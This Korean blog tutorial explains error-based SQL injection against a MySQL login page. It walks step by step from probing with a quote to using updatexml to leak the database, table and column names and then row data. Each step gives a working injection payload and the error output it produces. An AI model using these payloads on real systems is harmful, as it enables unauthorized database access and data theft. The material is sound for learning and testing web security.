UNION Based SQLi  (0) 2022.11.21
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

1. Error Based SQLi

1) 정의

  • SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다.
  • 기본적으로 '(싱글 쿼테이션) 또는 ''(더블 쿼테이션)을 이용하며, Group BY와 HAVING 등을 이용하기도 한다.

 

2) 공격방법

Error Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 취약점 확인

공격 시 삽입 구문

- '

출력되는 에러

-  Uncaught mysqli_sql_exception: You have an error in your SQL syntax;

  • 에러가 출력되는지 확인하기 위해 를 삽입하여 취약점을 확인한다.
  • 위와 같은 에러가 출력되면 Error Based SQLi 취약점이 존재한다.

 

2) Error 출력 활용 함수 선정

  • 문법이 맞지 않는 SQL 쿼리문을 삽입하면 컴파일이 불가하기 때문에 문법적에러가 아닌 논리적 에러를 포함한 쿼리문을 삽입해야한다.
  • 이런 경우 Error Based SQLi에 자주 사용되는 updatexml과 같은 함수를 사용한다.
  • Updatexml 함수는 지정된 xml_target에 xpath_expr의 표현식과 일치하는 부분이 존재하면 xml_target을 new_xml로 변경하는 함수이다.

- 1' and updatexml(null,concat(0x3a,(select 'john')),null) and '1'='1

- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.

- Uncaught mysqli_sql_exception: XPATH syntax error: ':john' in /var/www/html/login_check.php

- 함수를 이용하여 공격했을 때 XPATH syntax error가 출력된다.

- 해당 함수로 공격이 가능한 것을 확인한다.

 

3) 데이터베이스 이름 확인

  • 함수 선정 후 공격을 통해서 출력되는 에러에 Database이름이 출력 되도록 한다

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':MEMBER' in /var/www/html/login_check.php

공격 시 삽입 구문 SELECT문에 database이름이 출력되도록 구문을 만든다.

공격 후 출력되는 에러 MEMBER라는 database이름이 출력된다.

 

4) 테이블 이름 확인

  • 추출한 Database이름을 바탕으로 information_schema를 이용하여 테이블 이름을 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables WHERE table_schema = 'MEMBER' limit 1, 1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIPCODE' in /var/www/html/login_check.php

- 공격 시 삽입 구문은 SELECT문에 table_name을 출력되게 한다.

- 테이블은 기본적으로 row로 정렬되어있어서 limit을 넣어주지 않으면 에러에 데이터가 출력되지 않는다.

- Limit 0,1부터 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 테이블 이름을 출력한다.

- 공격 후 출력되는 에러에는 테이블 이름이 출력된다.

 

5) 컬럼 이름 확인

  • 추출한 Database와 table을 바탕으로 information_schema를 이용하여 컬럼 이름을 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns WHERE table_name = 'ZIPCODE' limit 0, 1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIP_NO' in /var/www/html/login_check.php

- 공격 시 삽입 구문 SELECT문에 컬럼 이름이 출력되게 한다.

- 컬럼도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 컬럼 이름을 출력한다.

- 공격 후 출력되는 에러에는 컬럼 이름이 출력된다.

 

6) 데이터 추출

  • 수집한 데이터들을 이용해 필요한 데이터를 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select ZIP_NO from ZIPCODE limit 0,1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':25627' in /var/www/html/login_check.php

- 공격 시 삽입 구문 SELECT문에 추출하고 싶은 데이터가 출력되게 한다.

- 데이터도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 데이터를 출력한다.

- 공격 후 출력되는 에러에는 데이터가 출력된다.

 

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

+ Recent posts